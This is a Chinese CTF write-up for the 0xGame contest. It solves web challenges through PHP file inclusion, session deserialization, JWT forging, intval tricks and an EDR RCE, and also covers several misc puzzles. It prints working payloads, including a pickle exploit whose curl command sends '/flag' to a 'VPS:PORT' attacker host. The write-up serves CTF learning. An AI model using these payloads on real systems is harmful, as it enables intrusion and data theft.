前言
南邮的师傅们整了个 0xGame,比赛持续了一个月,每周放出一定的题目。
大概看了看,题目还是有点意思的。
主要顺便总结了一下 PHP SESSION 序列化引擎不同带来的反序列化漏洞吧。
(由于比较懒就没怎么写 WP,写的也比较简略
嘤嘤嘤(跑
Week 4
Web_switch
小明在使用vim时电脑死机了,但是他写的代码还没有保存,这可怎么办呢?
访问显示
Do you know vim in Linux?
想到应该是 vim 的缓存文件吧。
即 .index.php.swp
下载以后用 vim 加载
vim -r .index.php.swp
而后 :wq 保存得到源码。
<?php
error_reporting(0);//flag in flag.php
$id = $_POST['id']?$_POST['id']:0;
$file = $_POST['file']?$_POST['file']:"";
if($id == '2'){
die("no no no !");
}
switch ($id) {
case 0:
die('<h1 align="center"><font color="red">Do you know vim in Linux?</font></h1>');
case 1:
die("0xGame Good!");
case 2:
if(preg_match('/filter|base64/', $file)){
die("hacker");
}
include($file);
}
POST 接收两个参数,id 的话在 switch 里会被强制类型转换,只需要输入第一个字符为 2 即可。
file 的话用 PHP 伪协议去读取。
虽然过滤了filter|base64,但匹配时没有不区分大小写,而 PHP 对大小写不敏感,于是改个大小写就完事了。
payload:
id=2sdf&file=php://filTer/read=convert.basE64-encode/resource=flag.php
得到
PD9waHANCiRmbGFnPScweEdhbWV7UzBtZV9wSHBfdFIxY0tzX3VfRzN0XzF0fSc7
base64decode
<?php
$flag='0xGame{S0me_pHp_tR1cKs_u_G3t_1t}';
get!
Web_broken_motto
- motto为啥查看不了了啊?
- Hint:注意查看注释的地方,注释前后有什么区别
- 题目地址
现学现卖的一题,顺便来总结了一下相关的知识点,PHP 太奇妙了真的。
先源码审计。
register.php:
<?php
require_once 'class.php';
session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start();
if(isset($_POST['username'])&&isset($_POST['password'])){
$user = new User($_POST['username'], $_POST['password'], $_POST['motto']);
$user->register();
echo 'register success!'."<br/>";
echo '<a href="profile.php">click hear to see your motto</a>';
}else{
die('empty username or password!');
}
?>
profile.php:
<?php
require_once 'class.php';
//ini_set('session.serialize_handler','php_serialize');
session_save_path('session');
session_start();
if(isset($_SESSION['username'])){
$info = new info();
}else{
die('出错啦!读取不到你的格言QWQ');
}
class.php:
<?php
class User {
public $username;
public $password;
public $motto;
function __construct($username, $password, $motto)
{
$this->username = $username;
$this->password = $password;
$this->motto = $motto;
}
public function register(){
$_SESSION['username'] = $this->username;
$_SESSION['password'] = $this->password;
$_SESSION['motto'] = $this->motto;
}
}
class info{
public $admin;
public $username;
public $motto;
public function __construct()
{
$this->admin = 0;
$this->motto = $_SESSION['motto'];
$this->username = $_SESSION['username'];
}
public function __destruct()
{
echo 'your motto:'.$this->motto;
if($this->admin===1){
show_source('flag.php');
}
}
}
我们需要让 $this->admin=1,从而显示 flag。
PHP 在反序列化存储的 $_SESSION 数据时使用的引擎和序列化使用的引擎不一样,从而引入了漏洞。
PHP 里有三种序列化引擎,其中默认使用的是 php 引擎。
php_binary: 存储方式是,键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值php: 存储方式是,键名+竖线+经过 serialize() 函数序列处理的值php_serialize(php>5.5.4): 存储方式是,经过 serialize() 函数序列化处理的值
PHP 里的 SESSION 是保存在文件里的,文件名格式为 sess_PHPSESSID,例如:

根据 hint,profile 里的应该用的是默认的 php 序列化引擎,而 register 里用的是 php_serialize。
profile 里需要 isset($_SESSION['username']) 才能进入,而这个 session 是在注册时 User 类里设置的, 即 $_SESSION['username'] = $this->username;。
访问 profile 时执行 session_start(); 语句时从文件中读取 session,将其反序列化。
那么我们先构造一个序列化好的对象,编写一段 php 代码来得到。
<?php
class info{
public $admin;
public $username;
public $motto;
public function __construct()
{
$this->admin = 1;
$this->motto = "adfs";
$this->username = "admin";
}
}
$x=new info();
echo serialize($x);
得到序列化后的为:
O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}
在最前面加上 |,放到username里。
register 里使用 php_serialize 执行 $_SESSION['username'] = $this->username; 语句时,session 文件中存储的内容为
a:1:{s:8:"username";s:82:"|O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}";}
而 profile 在 session_start(); 执行读取时将这个文件里的内容进行反序列化。
将 | 之前的内容作为 SESSION 的 key,之后的内容作为 value,拿去 unserialize。
即 key 为 a:1:{s:8:"username";s:82:", value 为 O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}";}。
于是在访问 profile 页面时,会反序列化伪造的数据,实例化 info 对象,最后就会把 admin 置为1了。
先本地试试,构造 payload 如下。
username=|O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}
password=admin
motto=ddd
session 文件中的内容如下。

访问 profile 页面时成功把 admin 置为1,获取了 flag.php 页面内容。

再拿去远程跑。

得到 flag。

References & Extensive Reading:
Session序列化选择器漏洞(ini_set(‘session.serialize_handler’, ‘php’);)
上面有文章还介绍了另一种漏洞。
若
session.upload_progress.enabled为 On,当一个上传在处理中,同时 POST 一个与 INI 中设置的session.upload_progress.name同名变量时,当 PHP 检测到这种 POST 请求时,它会在$_SESSION中添加一组数据,即就可以将 filename 的值赋值到 session 中。所以可以通过 Session Upload Progress 来设置 session。
例如 http://web.jarvisoj.com:32784/index.php 这一题。
通过构造一个上传页面,如
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123aaa" />
<input type="file" name="file" />
<input type="submit" />
</form>
HTTP 如下,注意要带上 Cookie。
POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jnmfjqfll0kttv9cf6i7dfhh32
Content-Type: multipart/form-data; boundary=---------------------------395747469534482322661051838442
Content-Length: 436
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------395747469534482322661051838442
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123asdaf
-----------------------------395747469534482322661051838442
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain
xxxxx
-----------------------------395747469534482322661051838442--
表单里带上 PHP_SESSION_UPLOAD_PROGRESS,再修改 filename 就能再 session 加载时利用反序列化把内容加载到 SESSION 中。

再利用 file_get_contents 结合当前路径读取文件即可。
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

Web_JWT
http://web.game.0xctf.com:30107/

随意输入用户名密码去登录,根据返回的 cookie 得到 JWT (JSON Web Token)。
参考之前的 NUAACTF web2-jwt,利用 c-jwt-cracker 跑出 secret。

secret 即 njupt。
拿去 jwt.io 加密一下就好了,然后改掉 payload 里的 role 为 admin。

最后把 cookie 改成 Encoded 里的那个就完事了。

Web_easyPython
- 人生苦短,我用Python
- 登录admin
- 登录成功与否不是必要的,重要在过程,仔细看看bak
- 题目地址
首先点击 Tips 拿到题目的源代码。
关键代码:
# home page
@app.route('/')
# @login_required
def index():
usercookies = request.cookies.get('Cookies')
if not usercookies:
usercookies = "{'username':'guest'}"
else:
usercookies = pickle.loads(base64.b64decode(usercookies))
resp = make_response(render_template('index.html'))
resp.set_cookie('Cookies', base64.b64encode(pickle.dumps(usercookies)))
return resp
这里很明显看到了pickle,而且根据提示与登陆与否无关,那就是这里了。
这里 pickle.loads 反序列化时貌似没有过滤,于是可以传一个 object 过去,在实例化的时候调用 __reduce()__ 方法,执行这里面的内容。
import pickle
import base64
import pickletools
import os
class User():
def __init__(self):
self.name = 'miaotony'
def __reduce__(self):
return (os.system, ('curl http://VPS:PORT/`cat /flag | base64`',))
payload = pickle.dumps(User())
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
payload_64 = base64.b64encode(payload)
print(payload_64)
把这个生成的 base64 编码的 payload 作为 Cookies,修改后重新访问,理论上就能在 VPS 上拿到 base64 编码的 flag。
然而并没有成功。。打过去之后返回 500 Internal Server Error.
比赛结束之后看了官方WP,才知道原来是操作系统的锅,我这个是在 Windows 下生成的。
这个序列化的结果还与操作系统有关系。


修改为 posix,或者在 Linux 下生成就没这个问题了。
另外发现需要去掉 pickle 的版本标识 \x80\x03.我用的 opcode 是 Python3 下的 版本3。
于是我这个 payload 就是
b'cposix\nsystem\nX3\x00\x00\x00curl http://VPS:PORT/`cat /flag | base64`\x85R.'

修改 Cookies,在 VPS 上接收一下,拿到 flag。

Misc_flip
pwd.mp3 一听就是电报了,老摩斯了。

读出来是
....- ----- ----- ---.. ..... -.... -.... ----. ----. ...-- ----- ----- ... .. -.. .-. --- .-- ... ... .- .--.
解码得到
400856699300SIDROWSSAP
一看就是倒过来了的,那就倒回去。
PASSWORDIS003996658004
拿 003996658004 去解压 galf_si_siht_2.zip,得到 galf_si_siht.zip。
发现打不开,放到 010 Editor 里,发现套了两个 zip,老缝合怪了。

分别把两个 zip 提取出来。
password.txt:

I want to write file in binary, but something seems to be wrong?
看到末尾一位都是0,盲猜是倒过来的 ASCII。写个脚本试试。
s = """10100110
11010110
......
10011010"""
l = s.split('\n')
pwd=''
for i in l:
x = i[::-1]
print(x)
char = chr(int(x, 2))
pwd += char
print(pwd)
print(pwd[::-1])
# You are so clever that this problem is just a piece of cake for you, the password is A_pi3ce_0f_C4ke
得到密码为 A_pi3ce_0f_C4ke。
解压galf_si_siht.png。

好家伙,又是倒过来的。
with open(r"galf_si_siht.png", 'rb') as fin:
img = fin.read()
with open(r"galf_si_siht_fix.png", 'wb') as fout:
fout.write(img[::-1])
得到一张二维码。

扫码得到 http://am473ur.com/0xgame/flip/bd055250d3906d1f791d8e83b4396893.php
0xGame{b07906f9-f6f5-4120-9f80-01d761c8602e}
老套娃了(
Misc_Hex酱
发现过滤的关键字其实只是命令里包含相应的字符而已,大写绕过就完事了~
不过还是日了一个晚上((
之前还没怎么在 Windows 下整命令行,这次还特地去查了一番。
最开始还是绕了一大弯,本来不知道 flag 在哪,找了半天突然想到应该就在桌面上了。
当前路径是 C:\Users\Administrator\Desktop\Game\HexQBot
通过环境变量和通配符,复制再读取 flag。

后来突然想到不用这么复杂,直接读就完事了。

后面问了出题的 Am473ur 师傅,这个返回内容的长度有了限制,所以有的指令发过去没有返回了。
另外这个 Hex酱 挺容易崩的,心疼一下运维师傅(
Week 3
之前几周懒了,就随便看看题做做题,基本没写 WP,就这样8.
Web_intval
payload:
http://web.game.0xctf.com:30102/?0xGame=20201001%0a&id=1024.3
<?php
highlight_file(__FILE__);
include("ffllaagg.php");
//1st
if(isset ($_GET['0xGame'])) {
if($_GET['0xGame'] !== '20201001' && preg_match('/^20201001$/',$_GET['0xGame']))
echo 'Good job!'.'<br>';
else
die('Think it over!');
}
//2nd
if(isset($_GET['id'])){
$id=intval($_GET['id']);
if($_GET['id'] != 1024 && $id === 1024)
echo 'Congratulations!'.'<br>'.$flag;
else
die('Work harder!');
}
Good job!
Congratulations!
0xGame{947eae96fe415cbc6eab176f15dd98b1}
Web_edr
深信服 RCE
参考:
https://blog.csdn.net/qq_37602797/article/details/108068122
https://mp.weixin.qq.com/s/4VtJ_M0c5GZsV4CmBr9CsQ
payload:
http://web1.game.0xctf.com:40000/?strip_slashes=system&host=cat%20/flag
0xGame{S4n9f0r_3dR_c4N_Rce_reC3n7_D4y}
小结
还是挺有意思的。
(首尾呼应
(溜了喵